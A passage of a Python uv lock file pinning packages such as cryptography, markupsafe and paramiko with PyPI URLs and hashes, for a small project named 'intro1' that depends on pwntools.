sdist = { url = "https://files.pythonhosted.org/packages/e4/33/89c2ced2b67d1c2a61c19c6751aa8902d46ce3dacb23600a283619f5a12d/charset_normalizer-3.4.2.tar.gz", hash = "sha256:5baececa9ecba31eff645232d59845c07aa030f0c81ee70184a90d35099a0e63", size = 126367, upload-time = "2025-05-02T08:34:42.01Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ea/12/a93df3366ed32db1d907d7593a94f1fe6293903e3e92967bebd6950ed12c/charset_normalizer-3.4.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:926ca93accd5d36ccdabd803392ddc3e03e6d4cd1cf17deff3b989ab8e9dbcf0", size = 199622, upload-time = "2025-05-02T08:32:56.363Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/04/93/bf204e6f344c39d9937d3c13c8cd5bbfc266472e51fc8c07cb7f64fcd2de/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:eba9904b0f38a143592d9fc0e19e2df0fa2e41c3c3745554761c5f6447eedabf", size = 143435, upload-time = "2025-05-02T08:32:58.551Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/22/2a/ea8a2095b0bafa6c5b5a55ffdc2f924455233ee7b91c69b7edfcc9e02284/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3fddb7e2c84ac87ac3a947cb4e66d143ca5863ef48e4a5ecb83bd48619e4634e", size = 153653, upload-time = "2025-05-02T08:33:00.342Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b6/57/1b090ff183d13cef485dfbe272e2fe57622a76694061353c59da52c9a659/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:98f862da73774290f251b9df8d11161b6cf25b599a66baf087c1ffe340e9bfd1", size = 146231, upload-time = "2025-05-02T08:33:02.081Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e2/28/ffc026b26f441fc67bd21ab7f03b313ab3fe46714a14b516f931abe1a2d8/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c9379d65defcab82d07b2a9dfbfc2e95bc8fe0ebb1b176a3190230a3ef0e07c", size = 148243, upload-time = "2025-05-02T08:33:04.063Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c0/0f/9abe9bd191629c33e69e47c6ef45ef99773320e9ad8e9cb08b8ab4a8d4cb/charset_normalizer-3.4.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e635b87f01ebc977342e2697d05b56632f5f879a4f15955dfe8cef2448b51691", size = 150442, upload-time = "2025-05-02T08:33:06.418Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/67/7c/a123bbcedca91d5916c056407f89a7f5e8fdfce12ba825d7d6b9954a1a3c/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1c95a1e2902a8b722868587c0e1184ad5c55631de5afc0eb96bc4b0d738092c0", size = 145147, upload-time = "2025-05-02T08:33:08.183Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ec/fe/1ac556fa4899d967b83e9893788e86b6af4d83e4726511eaaad035e36595/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:ef8de666d6179b009dce7bcb2ad4c4a779f113f12caf8dc77f0162c29d20490b", size = 153057, upload-time = "2025-05-02T08:33:09.986Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2b/ff/acfc0b0a70b19e3e54febdd5301a98b72fa07635e56f24f60502e954c461/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:32fc0341d72e0f73f80acb0a2c94216bd704f4f0bce10aedea38f30502b271ff", size = 156454, upload-time = "2025-05-02T08:33:11.814Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/92/08/95b458ce9c740d0645feb0e96cea1f5ec946ea9c580a94adfe0b617f3573/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:289200a18fa698949d2b39c671c2cc7a24d44096784e76614899a7ccf2574b7b", size = 154174, upload-time = "2025-05-02T08:33:13.707Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/78/be/8392efc43487ac051eee6c36d5fbd63032d78f7728cb37aebcc98191f1ff/charset_normalizer-3.4.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4a476b06fbcf359ad25d34a057b7219281286ae2477cc5ff5e3f70a246971148", size = 149166, upload-time = "2025-05-02T08:33:15.458Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/44/96/392abd49b094d30b91d9fbda6a69519e95802250b777841cf3bda8fe136c/charset_normalizer-3.4.2-cp313-cp313-win32.whl", hash = "sha256:aaeeb6a479c7667fbe1099af9617c83aaca22182d6cf8c53966491a0f1b7ffb7", size = 98064, upload-time = "2025-05-02T08:33:17.06Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e9/b0/0200da600134e001d91851ddc797809e2fe0ea72de90e09bec5a2fbdaccb/charset_normalizer-3.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:aa6af9e7d59f9c12b33ae4e9450619cf2488e2bbe9b44030905877f0b2324980", size = 105641, upload-time = "2025-05-02T08:33:18.753Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/94/c5790835a017658cbfabd07f3bfb549140c3ac458cfc196323996b10095a/charset_normalizer-3.4.2-py3-none-any.whl", hash = "sha256:7f56930ab0abd1c45cd15be65cc741c28b1c9a34876ce8c17a2fa107810c0af0", size = 52626, upload-time = "2025-05-02T08:34:40.053Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "colorama"
|
||||
version = "0.4.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "colored-traceback"
|
||||
version = "0.4.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "colorama", marker = "os_name == 'nt'" },
|
||||
{ name = "pygments" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/07/80/afcf567031ab8565f8f8d2bd14b007d313ea3258e50394e85b10a405099c/colored-traceback-0.4.2.tar.gz", hash = "sha256:ecbc8e41f0712ea81931d7cd436b8beb9f3eff1595d2498f183e0ef69b56fe84", size = 4707, upload-time = "2024-07-13T19:49:37.027Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/da/28/05e035e2d95dc469408bcb1edfbee5d4fcfe3b0a5fa3701c5f1f10c77c49/colored_traceback-0.4.2-py3-none-any.whl", hash = "sha256:8ad752a5b3c4e50bccd99d4a2d01e16d80926b519e07a85437ecbf8b4f8ce884", size = 5502, upload-time = "2024-07-13T19:49:35.486Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cryptography"
|
||||
version = "45.0.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cffi", marker = "platform_python_implementation != 'PyPy'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/13/1f/9fa001e74a1993a9cadd2333bb889e50c66327b8594ac538ab8a04f915b7/cryptography-45.0.3.tar.gz", hash = "sha256:ec21313dd335c51d7877baf2972569f40a4291b76a0ce51391523ae358d05899", size = 744738, upload-time = "2025-05-25T14:17:24.777Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/82/b2/2345dc595998caa6f68adf84e8f8b50d18e9fc4638d32b22ea8daedd4b7a/cryptography-45.0.3-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:7573d9eebaeceeb55285205dbbb8753ac1e962af3d9640791d12b36864065e71", size = 7056239, upload-time = "2025-05-25T14:16:12.22Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/71/3d/ac361649a0bfffc105e2298b720d8b862330a767dab27c06adc2ddbef96a/cryptography-45.0.3-cp311-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d377dde61c5d67eb4311eace661c3efda46c62113ff56bf05e2d679e02aebb5b", size = 4205541, upload-time = "2025-05-25T14:16:14.333Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/3e/c02a043750494d5c445f769e9c9f67e550d65060e0bfce52d91c1362693d/cryptography-45.0.3-cp311-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fae1e637f527750811588e4582988932c222f8251f7b7ea93739acb624e1487f", size = 4433275, upload-time = "2025-05-25T14:16:16.421Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/40/7a/9af0bfd48784e80eef3eb6fd6fde96fe706b4fc156751ce1b2b965dada70/cryptography-45.0.3-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ca932e11218bcc9ef812aa497cdf669484870ecbcf2d99b765d6c27a86000942", size = 4209173, upload-time = "2025-05-25T14:16:18.163Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/31/5f/d6f8753c8708912df52e67969e80ef70b8e8897306cd9eb8b98201f8c184/cryptography-45.0.3-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:af3f92b1dc25621f5fad065288a44ac790c5798e986a34d393ab27d2b27fcff9", size = 3898150, upload-time = "2025-05-25T14:16:20.34Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/8b/50/f256ab79c671fb066e47336706dc398c3b1e125f952e07d54ce82cf4011a/cryptography-45.0.3-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2f8f8f0b73b885ddd7f3d8c2b2234a7d3ba49002b0223f58cfde1bedd9563c56", size = 4466473, upload-time = "2025-05-25T14:16:22.605Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/e7/312428336bb2df0848d0768ab5a062e11a32d18139447a76dfc19ada8eed/cryptography-45.0.3-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:9cc80ce69032ffa528b5e16d217fa4d8d4bb7d6ba8659c1b4d74a1b0f4235fca", size = 4211890, upload-time = "2025-05-25T14:16:24.738Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e7/53/8a130e22c1e432b3c14896ec5eb7ac01fb53c6737e1d705df7e0efb647c6/cryptography-45.0.3-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c824c9281cb628015bfc3c59335163d4ca0540d49de4582d6c2637312907e4b1", size = 4466300, upload-time = "2025-05-25T14:16:26.768Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/75/6bb6579688ef805fd16a053005fce93944cdade465fc92ef32bbc5c40681/cryptography-45.0.3-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:5833bb4355cb377ebd880457663a972cd044e7f49585aee39245c0d592904578", size = 4332483, upload-time = "2025-05-25T14:16:28.316Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2f/11/2538f4e1ce05c6c4f81f43c1ef2bd6de7ae5e24ee284460ff6c77e42ca77/cryptography-45.0.3-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:9bb5bf55dcb69f7067d80354d0a348368da907345a2c448b0babc4215ccd3497", size = 4573714, upload-time = "2025-05-25T14:16:30.474Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f5/bb/e86e9cf07f73a98d84a4084e8fd420b0e82330a901d9cac8149f994c3417/cryptography-45.0.3-cp311-abi3-win32.whl", hash = "sha256:3ad69eeb92a9de9421e1f6685e85a10fbcfb75c833b42cc9bc2ba9fb00da4710", size = 2934752, upload-time = "2025-05-25T14:16:32.204Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c7/75/063bc9ddc3d1c73e959054f1fc091b79572e716ef74d6caaa56e945b4af9/cryptography-45.0.3-cp311-abi3-win_amd64.whl", hash = "sha256:97787952246a77d77934d41b62fb1b6f3581d83f71b44796a4158d93b8f5c490", size = 3412465, upload-time = "2025-05-25T14:16:33.888Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/71/9b/04ead6015229a9396890d7654ee35ef630860fb42dc9ff9ec27f72157952/cryptography-45.0.3-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:c92519d242703b675ccefd0f0562eb45e74d438e001f8ab52d628e885751fb06", size = 7031892, upload-time = "2025-05-25T14:16:36.214Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/46/c7/c7d05d0e133a09fc677b8a87953815c522697bdf025e5cac13ba419e7240/cryptography-45.0.3-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c5edcb90da1843df85292ef3a313513766a78fbbb83f584a5a58fb001a5a9d57", size = 4196181, upload-time = "2025-05-25T14:16:37.934Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/08/7a/6ad3aa796b18a683657cef930a986fac0045417e2dc428fd336cfc45ba52/cryptography-45.0.3-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:38deed72285c7ed699864f964a3f4cf11ab3fb38e8d39cfcd96710cd2b5bb716", size = 4423370, upload-time = "2025-05-25T14:16:39.502Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/58/ec1461bfcb393525f597ac6a10a63938d18775b7803324072974b41a926b/cryptography-45.0.3-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:5555365a50efe1f486eed6ac7062c33b97ccef409f5970a0b6f205a7cfab59c8", size = 4197839, upload-time = "2025-05-25T14:16:41.322Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d4/3d/5185b117c32ad4f40846f579369a80e710d6146c2baa8ce09d01612750db/cryptography-45.0.3-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:9e4253ed8f5948a3589b3caee7ad9a5bf218ffd16869c516535325fece163dcc", size = 3886324, upload-time = "2025-05-25T14:16:43.041Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/67/85/caba91a57d291a2ad46e74016d1f83ac294f08128b26e2a81e9b4f2d2555/cryptography-45.0.3-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:cfd84777b4b6684955ce86156cfb5e08d75e80dc2585e10d69e47f014f0a5342", size = 4450447, upload-time = "2025-05-25T14:16:44.759Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ae/d1/164e3c9d559133a38279215c712b8ba38e77735d3412f37711b9f8f6f7e0/cryptography-45.0.3-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:a2b56de3417fd5f48773ad8e91abaa700b678dc7fe1e0c757e1ae340779acf7b", size = 4200576, upload-time = "2025-05-25T14:16:46.438Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/71/7a/e002d5ce624ed46dfc32abe1deff32190f3ac47ede911789ee936f5a4255/cryptography-45.0.3-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:57a6500d459e8035e813bd8b51b671977fb149a8c95ed814989da682314d0782", size = 4450308, upload-time = "2025-05-25T14:16:48.228Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/ad/3fbff9c28cf09b0a71e98af57d74f3662dea4a174b12acc493de00ea3f28/cryptography-45.0.3-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:f22af3c78abfbc7cbcdf2c55d23c3e022e1a462ee2481011d518c7fb9c9f3d65", size = 4325125, upload-time = "2025-05-25T14:16:49.844Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f5/b4/51417d0cc01802304c1984d76e9592f15e4801abd44ef7ba657060520bf0/cryptography-45.0.3-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:232954730c362638544758a8160c4ee1b832dc011d2c41a306ad8f7cccc5bb0b", size = 4560038, upload-time = "2025-05-25T14:16:51.398Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/80/38/d572f6482d45789a7202fb87d052deb7a7b136bf17473ebff33536727a2c/cryptography-45.0.3-cp37-abi3-win32.whl", hash = "sha256:cb6ab89421bc90e0422aca911c69044c2912fc3debb19bb3c1bfe28ee3dff6ab", size = 2924070, upload-time = "2025-05-25T14:16:53.472Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/91/5a/61f39c0ff4443651cc64e626fa97ad3099249152039952be8f344d6b0c86/cryptography-45.0.3-cp37-abi3-win_amd64.whl", hash = "sha256:d54ae41e6bd70ea23707843021c778f151ca258081586f0cfa31d936ae43d1b2", size = 3395005, upload-time = "2025-05-25T14:16:55.134Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "idna"
|
||||
version = "3.10"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/f1/70/7703c29685631f5a7590aa73f1f1d3fa9a380e654b86af429e0934a32f7d/idna-3.10.tar.gz", hash = "sha256:12f65c9b470abda6dc35cf8e63cc574b1c52b11df2c86030af0ac09b01b13ea9", size = 190490, upload-time = "2024-09-15T18:07:39.745Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/76/c6/c88e154df9c4e1a2a66ccf0005a88dfb2650c1dffb6f5ce603dfbd452ce3/idna-3.10-py3-none-any.whl", hash = "sha256:946d195a0d259cbba61165e88e65941f16e9b36ea6ddb97f00452bae8b1287d3", size = 70442, upload-time = "2024-09-15T18:07:37.964Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "intervaltree"
|
||||
version = "3.1.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "sortedcontainers" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/50/fb/396d568039d21344639db96d940d40eb62befe704ef849b27949ded5c3bb/intervaltree-3.1.0.tar.gz", hash = "sha256:902b1b88936918f9b2a19e0e5eb7ccb430ae45cde4f39ea4b36932920d33952d", size = 32861, upload-time = "2020-08-03T08:01:11.392Z" }
|
||||
|
||||
[[package]]
|
||||
name = "intro1"
|
||||
version = "0.1.0"
|
||||
source = { virtual = "." }
|
||||
dependencies = [
|
||||
{ name = "pwntools" },
|
||||
]
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [{ name = "pwntools", specifier = ">=4.14.1" }]
|
||||
|
||||
[[package]]
|
||||
name = "mako"
|
||||
version = "1.3.10"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "markupsafe" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9e/38/bd5b78a920a64d708fe6bc8e0a2c075e1389d53bef8413725c63ba041535/mako-1.3.10.tar.gz", hash = "sha256:99579a6f39583fa7e5630a28c3c1f440e4e97a414b80372649c0ce338da2ea28", size = 392474, upload-time = "2025-04-10T12:44:31.16Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/87/fb/99f81ac72ae23375f22b7afdb7642aba97c00a713c217124420147681a2f/mako-1.3.10-py3-none-any.whl", hash = "sha256:baef24a52fc4fc514a0887ac600f9f1cff3d82c61d4d700a1fa84d597b88db59", size = 78509, upload-time = "2025-04-10T12:50:53.297Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "markupsafe"
|
||||
version = "3.0.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0", size = 20537, upload-time = "2024-10-18T15:21:54.129Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/83/0e/67eb10a7ecc77a0c2bbe2b0235765b98d164d81600746914bebada795e97/MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd", size = 14274, upload-time = "2024-10-18T15:21:24.577Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2b/6d/9409f3684d3335375d04e5f05744dfe7e9f120062c9857df4ab490a1031a/MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430", size = 12352, upload-time = "2024-10-18T15:21:25.382Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/f5/6eadfcd3885ea85fe2a7c128315cc1bb7241e1987443d78c8fe712d03091/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094", size = 24122, upload-time = "2024-10-18T15:21:26.199Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/91/96cf928db8236f1bfab6ce15ad070dfdd02ed88261c2afafd4b43575e9e9/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396", size = 23085, upload-time = "2024-10-18T15:21:27.029Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c2/cf/c9d56af24d56ea04daae7ac0940232d31d5a8354f2b457c6d856b2057d69/MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79", size = 22978, upload-time = "2024-10-18T15:21:27.846Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/2a/9f/8619835cd6a711d6272d62abb78c033bda638fdc54c4e7f4272cf1c0962b/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a", size = 24208, upload-time = "2024-10-18T15:21:28.744Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f9/bf/176950a1792b2cd2102b8ffeb5133e1ed984547b75db47c25a67d3359f77/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca", size = 23357, upload-time = "2024-10-18T15:21:29.545Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ce/4f/9a02c1d335caabe5c4efb90e1b6e8ee944aa245c1aaaab8e8a618987d816/MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c", size = 23344, upload-time = "2024-10-18T15:21:30.366Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ee/55/c271b57db36f748f0e04a759ace9f8f759ccf22b4960c270c78a394f58be/MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1", size = 15101, upload-time = "2024-10-18T15:21:31.207Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/29/88/07df22d2dd4df40aba9f3e402e6dc1b8ee86297dddbad4872bd5e7b0094f/MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f", size = 15603, upload-time = "2024-10-18T15:21:32.032Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/62/6a/8b89d24db2d32d433dffcd6a8779159da109842434f1dd2f6e71f32f738c/MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c", size = 14510, upload-time = "2024-10-18T15:21:33.625Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/7a/06/a10f955f70a2e5a9bf78d11a161029d278eeacbd35ef806c3fd17b13060d/MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb", size = 12486, upload-time = "2024-10-18T15:21:34.611Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/34/cf/65d4a571869a1a9078198ca28f39fba5fbb910f952f9dbc5220afff9f5e6/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c", size = 25480, upload-time = "2024-10-18T15:21:35.398Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0c/e3/90e9651924c430b885468b56b3d597cabf6d72be4b24a0acd1fa0e12af67/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d", size = 23914, upload-time = "2024-10-18T15:21:36.231Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/66/8c/6c7cf61f95d63bb866db39085150df1f2a5bd3335298f14a66b48e92659c/MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe", size = 23796, upload-time = "2024-10-18T15:21:37.073Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bb/35/cbe9238ec3f47ac9a7c8b3df7a808e7cb50fe149dc7039f5f454b3fba218/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5", size = 25473, upload-time = "2024-10-18T15:21:37.932Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/e6/32/7621a4382488aa283cc05e8984a9c219abad3bca087be9ec77e89939ded9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a", size = 24114, upload-time = "2024-10-18T15:21:39.799Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/0d/80/0985960e4b89922cb5a0bac0ed39c5b96cbc1a536a99f30e8c220a996ed9/MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9", size = 24098, upload-time = "2024-10-18T15:21:40.813Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/82/78/fedb03c7d5380df2427038ec8d973587e90561b2d90cd472ce9254cf348b/MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6", size = 15208, upload-time = "2024-10-18T15:21:41.814Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4f/65/6079a46068dfceaeabb5dcad6d674f5f5c61a6fa5673746f42a9f4c233b3/MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f", size = 15739, upload-time = "2024-10-18T15:21:42.784Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "packaging"
|
||||
version = "25.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/a1/d4/1fc4078c65507b51b96ca8f8c3ba19e6a61c8253c72794544580a7b6c24d/packaging-25.0.tar.gz", hash = "sha256:d443872c98d677bf60f6a1f2f8c1cb748e8fe762d2bf9d3148b5599295b0fc4f", size = 165727, upload-time = "2025-04-19T11:48:59.673Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/20/12/38679034af332785aac8774540895e234f4d07f7545804097de4b666afd8/packaging-25.0-py3-none-any.whl", hash = "sha256:29572ef2b1f17581046b3a2227d5c611fb25ec70ca1ba8554b24b0e69331a484", size = 66469, upload-time = "2025-04-19T11:48:57.875Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "paramiko"
|
||||
version = "3.5.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "bcrypt" },
|
||||
{ name = "cryptography" },
|
||||
{ name = "pynacl" },
|
||||
]
|
||||
